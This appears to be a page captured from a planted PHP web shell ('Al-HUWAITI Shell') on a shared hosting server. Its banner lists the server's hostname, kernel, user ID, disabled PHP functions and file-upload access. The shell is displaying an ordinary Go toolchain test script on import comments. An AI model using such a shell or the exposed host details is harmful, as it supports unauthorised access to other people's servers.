Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux in-mum-web1333.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u141265441 ( 141265441)
PHP Version : 8.4.3
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/opt/golang/1.22.0/src/cmd/go/testdata/script/build_import_comment.txt
# Test in GOPATH mode first.
env GO111MODULE=off
cd m

# Import comment matches
go build -n works.go

# Import comment mismatch
! go build -n wrongplace.go
stderr 'wrongplace expects import "my/x"'

# Import comment syntax error
! go build -n bad.go
stderr 'cannot parse import comment'

# Import comment conflict
! go build -n conflict.go
stderr 'found import comments'


# Test in module mode.
# We ignore import comments, so these commands should succeed.
env GO111MODULE=on

# Import comment matches
go build -n works.go

# Import comment mismatch
go build -n wrongplace.go

# Import comment syntax error
go build -n bad.go

# Import comment conflict
go build -n conflict.go

-- m/go.mod --
module m

go 1.16
-- m/bad.go --
package p

import "m/bad"
-- m/conflict.go --
package p

import "m/conflict"
-- m/works.go --
package p

import _ "m/works/x"
-- m/wrongplace.go --
package p

import "m/wrongplace"
-- m/bad/bad.go --
package bad // import
-- m/conflict/a.go --
package conflict // import "a"
-- m/conflict/b.go --
package conflict /* import "b" */
-- m/works/x/x.go --
package x // import "m/works/x"
-- m/works/x/x1.go --
package x // important! not an import comment
-- m/wrongplace/x.go --
package x // import "my/x"

Al-HUWAITI Shell